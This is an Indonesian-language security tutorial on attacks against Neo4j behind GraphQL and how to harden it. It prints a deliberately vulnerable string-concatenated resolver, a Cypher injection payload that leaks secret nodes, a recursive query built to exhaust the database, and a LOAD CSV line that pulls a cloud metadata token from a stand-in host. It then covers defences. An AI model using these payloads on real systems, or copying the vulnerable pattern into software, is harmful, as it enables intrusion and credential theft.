Rekayasa Keamanan Graph Database: Mitigasi Cypher Injection, Traversal DoS, dan Otorisasi AST pada Neo4j & GraphQL
Paradigma Keamanan pada Property Graph Model
Adopsi arsitektur berbasis graph database mengalami peningkatan eksponensial seiring kebutuhan pemodelan relasi data kompleks multi-entitasβseperti jejaring finansial, otorisasi RBAC/ABAC terdistribusi, serta mesin rekomendasi real-time. Dalam ekosistem cloud modern, integrasi antara GraphQL dan Neo4j menjadi standar de facto melalui engine seperti @neo4j/graphql.
Mekanisme ini memungkinkan klien melakukan kueri deklaratif terhadap Abstract Syntax Tree (AST) GraphQL, yang kemudian diterjemahkan secara dinamis menjadi kueri graf deklaratif Cypher dan dieksekusi langsung pada mesin database.
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Client Workload (Mobile App / Internal Dashboard) β
ββββββββββββββββββββββββββββ¬ββββββββββββββββββββββββββββββ
β GraphQL Query AST (HTTP POST)
βΌ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β API Gateway & GraphQL Runtime (Node.js / Go) β
β ββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β AST Validation -> Depth Limiting -> Cost Analysisβ β
β βββββββββββββββββββββββββ¬βββββββββββββββββββββββββββ β
β β Parameterized Cypher Generation
β βΌ β
β ββββββββββββββββββββββββββββββββββββββββββββββββββββ β
β β Neo4j Driver (Bolt Protocol / TLS 1.3) β β
β βββββββββββββββββββββββββ¬βββββββββββββββββββββββββββ β
ββββββββββββββββββββββββββββΌββββββββββββββββββββββββββββββ
β Bolt Stream (Port 7687)
βΌ
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Neo4j Graph Database Cluster (Isolated VPC 192.0.2.0) β
β - APOC Security Sandboxing β
β - Parameter Binding & Cypher Query Engine β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Namun, fleksibilitas ekspresi relasional ini memunculkan lanskap ancaman baru (attack surface). Kesalahan konfigurasi pada middleware, ketergantungan pada dynamic string concatenation, atau kelalaian dalam validasi kedalaman AST dapat mengekspos infrastruktur terhadap Cypher Injection (CIn), Denial of Service melalui Traversal Kartesian, hingga kebocoran data sensitif melalui primitives database.
1. Anatomi Cypher Injection (CIn) pada Resolver Dinamis
Cypher Injection analog dengan SQL Injection pada database relasional, namun memiliki kapabilitas eksfiltrasi yang jauh lebih destruktif karena sifat traversal graf yang bebas batas (unbounded hops). Kerentanan ini umumnya timbul ketika pengembang menginterpolasi parameter klien langsung ke dalam blok Cypher kustom atau directive @cypher.
Contoh Implementasi Rawan (Vulnerable Pattern):
// CONTOH RAWAN: Interpolasi parameter langsung tanpa sanitasi AST
async function resolveAccountTransactions(parent, args, context) {
const { accountId, filterTag } = args;
// VULNERABILITY: filterTag digabungkan langsung ke string query
const query = `
MATCH (a:Account {uuid: '${accountId}'})-[:TRANSFERRED]->(t:Transaction)
WHERE t.tag = '${filterTag}'
RETURN t.id AS id, t.amount AS amount, t.timestamp AS timestamp
`;
const session = context.driver.session();
try {
const result = await session.run(query);
return result.records.map(record => record.toObject());
} finally {
await session.close();
}
}
Jika aktor ancaman mengirimkan muatan payload eksploitasi pada parameter filterTag:
Payload Input:
' OR 1=1 WITH t MATCH (s:SystemSecret) RETURN s.key AS id, 0 AS amount, s.value AS timestamp //
Query yang dikompilasi oleh Neo4j engine berubah menjadi:
MATCH (a:Account {uuid: 'ACC-9901'})-[:TRANSFERRED]->(t:Transaction)
WHERE t.tag = '' OR 1=1 WITH t MATCH (s:SystemSecret) RETURN s.key AS id, 0 AS amount, s.value AS timestamp //'
RETURN t.id AS id, t.amount AS amount, t.timestamp AS timestamp
Hasilnya, pembatas filter dilewati sepenuhnya, dan node sensitif SystemSecret dieksfiltrasi melalui saluran respon GraphQL yang sah.
2. Eksploitasi Graph Traversal DoS (Cartesian Explosion)
Model relasional graf secara inheren mendukung relasi sirkular (bidirectional/cyclic relationships). Dalam kueri GraphQL, ketiadaan restriksi kedalaman (query depth) memungkinkan penyerang menyusun payload rekursif berulang yang memaksa database melakukan traversal eksponensial.
# Eksploitasi Nested Circular Traversal (DoS Attack)
query GraphExplosionPayload {
organization(id: "ORG-RFC5737-01") {
departments {
members {
teams {
members {
teams {
members {
teams {
members {
name
accessTokens {
token
}
}
}
}
}
}
}
}
}
}
}
Dalam skenario di mana sebuah organisasi memiliki 20 departemen, masing-masing 50 anggota, dan tiap anggota tergabung dalam 5 tim, kompleksitas komputasi melonjak tajam ke skala $\mathcal{O}(V^K)$ di mana $K$ adalah kedalaman nesting.
Hal ini mengakibatkan:
- Alokasi memori heap JVM Neo4j habis seketika (OutOfMemoryError).
- Pemanfaatan CPU simpul database mencapai 100% (thread starvation).
- Sambungan soket klien lain mengalami timeout, melumpuhkan layanan di seluruh kluster.
3. Vektor SSRF & Eksfiltrasi File via Database Primitives
Secara default, fungsi bawaan Cypher seperti LOAD CSV dirancang untuk memuat dataset dari sumber eksternal via HTTP/HTTPS atau filesystem lokal. Jika Cypher Injection berhasil dieksekusi pada instans yang tidak terisolasi, fungsi ini dapat dipersenjatai untuk melakukan Server-Side Request Forgery (SSRF) dan pembacaan berkas internal:
// Eksfiltrasi data kredensial metadata instance cloud via LOAD CSV
LOAD CSV FROM 'http://198.51.100.254/computeMetadata/v1/instance/service-accounts/default/token' AS line
RETURN line[0] AS leaked_metadata
Kondisi diperparah jika ekstensi APOC (Awesome Procedures on Cypher) dipasang tanpa pembatasan keamanan (unrestricted mode). Prosedur seperti apoc.load.json, apoc.import.file, atau apoc.export.csv memberikan akses penuh kepada penyerang untuk membaca filesystem host dan mengeksekusi arbitrary network egress.
4. Arsitektur Pertahanan & Panduan Hardening Komprehensif
Untuk melindungi infrastruktur Neo4j dan GraphQL pada standar produksi enterprise, strategi pertahanan berlapis (Defense-in-Depth) wajib ditegakkan dari lapisan gateway hingga kernel database.
A. Validasi AST & Pembatasan Kedalaman Kueri (Depth & Complexity Limiting)
Pasang middleware analisis statis AST pada gateway GraphQL untuk menolak kueri sebelum mencapai resolver:
// gateway-security.ts (Konfigurasi Apollo Server dengan Depth Limiting)
import { ApolloServer } from '@apollo/server';
import depthLimit from 'graphql-depth-limit';
import { createComplexityLimitRule } from 'graphql-validation-complexity';
const server = new ApolloServer({
schema,
validationRules: [
// Membatasi kedalaman traversal nesting maksimal 5 tingkat
depthLimit(5),
// Menghitung bobot biaya komputasi field kueri
createComplexityLimitRule(1000, {
scalarCost: 1,
objectCost: 5,
listFactor: 10,
onCost: (cost) => console.log(`[AST Audit] Evaluated Query Cost: ${cost}`)
})
],
// Nonaktifkan Introspection & Playground di lingkungan produksi
introspection: process.env.NODE_ENV !== 'production'
});
B. Penegakan Otorisasi Deklaratif Berbasis Claims (@authorization)
Hindari logika otorisasi manual di dalam resolver. Manfaatkan directive @authorization pada skema Neo4j GraphQL Library untuk memvalidasi JWT claims secara presisi pada level AST generator:
# schema.graphql - Penegakan Zero-Trust Data Access
type Account @authorization(
validate: [
# Hanya pemilik akun sah atau role SEC_ADMIN yang dapat membaca data
{
operations: [READ],
where: {
OR: [
{ node: { ownerId: "$jwt.sub" } },
{ jwt: { roles_INCLUDES: "SEC_ADMIN" } }
]
}
},
# Mutasi update hanya diizinkan bagi entitas terverifikasi
{
operations: [UPDATE, DELETE],
where: { jwt: { roles_INCLUDES: "SEC_ADMIN" } }
}
]
) {
uuid: ID! @id
ownerId: String!
accountNumber: String!
balance: Float!
transactions: [Transaction!]! @relationship(type: "TRANSFERRED", direction: OUT)
}
C. Parameterized Query Binding Mutlak
Seluruh kueri kustom Cypher harus menggunakan parameter binding resmi protokol Bolt. Mesin Cypher memperlakukan parameter sebagai nilai literal murni, menghilangkan celah injeksi:
// secure-resolver.ts - Parameterized Cypher Binding
async function getAccountSafely(driver: neo4j.Driver, accountId: string, filterTag: string) {
const session = driver.session({ defaultAccessMode: neo4j.session.READ });
try {
const cypher = `
MATCH (a:Account {uuid: $accountId})-[:TRANSFERRED]->(t:Transaction)
WHERE t.tag = $filterTag
RETURN t.id AS id, t.amount AS amount, t.timestamp AS timestamp
`;
// Parameter dikirim sebagai dictionary terpisah via protokol biner Bolt
const result = await session.run(cypher, {
accountId: accountId,
filterTag: filterTag
});
return result.records.map(rec => rec.toObject());
} finally {
await session.close();
}
}
D. Hardening Konfigurasi Engine Neo4j (neo4j.conf)
Kunci antarmuka jaringan dan nonaktifkan kapabilitas impor/ekspor berbahaya pada berkas konfigurasi /etc/neo4j/neo4j.conf:
# /etc/neo4j/neo4j.conf - Production Hardening Specification
# 1. Batasi listener hanya pada interface internal VPC privat (RFC 5737 Synthetic Subnet)
server.default_listen_address=192.0.2.10
server.bolt.listen_address=192.0.2.10:7687
server.http.listen_address=192.0.2.10:7474
server.https.listen_address=192.0.2.10:7473
# 2. Nonaktifkan akses web browser interface publik jika tidak digunakan
dbms.browser.remote_csv_limits=0
# 3. Karantina Prosedur APOC & File IO Primitives
dbms.security.procedures.unrestricted=
dbms.security.procedures.allowlist=apoc.coll.*,apoc.date.*,apoc.math.*
apoc.import.file.enabled=false
apoc.export.file.enabled=false
apoc.import.file.use_neo4j_config=true
# 4. Batasi alokasi waktu eksekusi kueri maksimum (Anti-DoS)
dbms.transaction.timeout=15s
dbms.jvm.additional=-XX:+UseG1GC -Xms8g -Xmx8g
Ringkasan Matriks Pertahanan
| Vektor Serangan | Mekanisme Eksploitasi | Mitigasi Utama | Komponen Enforcer |
|---|---|---|---|
| Cypher Injection | String concat pada directive @cypher | Parameter Binding & Prepared Statements | GraphQL Resolver / Neo4j Driver |
| Traversal DoS | Kueri siklik rekursif tanpa batas | AST Depth Limiting & Cost Analysis (Depth $\le$ 5) | API Gateway / GraphQL Engine |
| SSRF / File Read | Penyalahgunaan LOAD CSV & APOC | apoc.import.file.enabled=false, Allowlist Prosedur | Neo4j Engine Configuration |
| BOLA / IDOR | Manipulasi ID mutasi autogenerated | Deklaratif @authorization berbasis JWT Claims | @neo4j/graphql Schema AST |
| Reconnaissance | GraphQL Introspection & Browser exposure | Nonaktifkan Introspection di Prod, VPC Binding | Apollo Server / Firewall VPC |
Dengan menerapkan validasi AST ketat di sisi gerbang GraphQL, otorisasi berbasis klaim JWT pada deklarasi skema, serta penguncian ketat prosedur APOC di sisi database, organisasi dapat memanfaatkan keunggulan pemodelan graf secara maksimal tanpa mengorbankan postur keamanan sistem.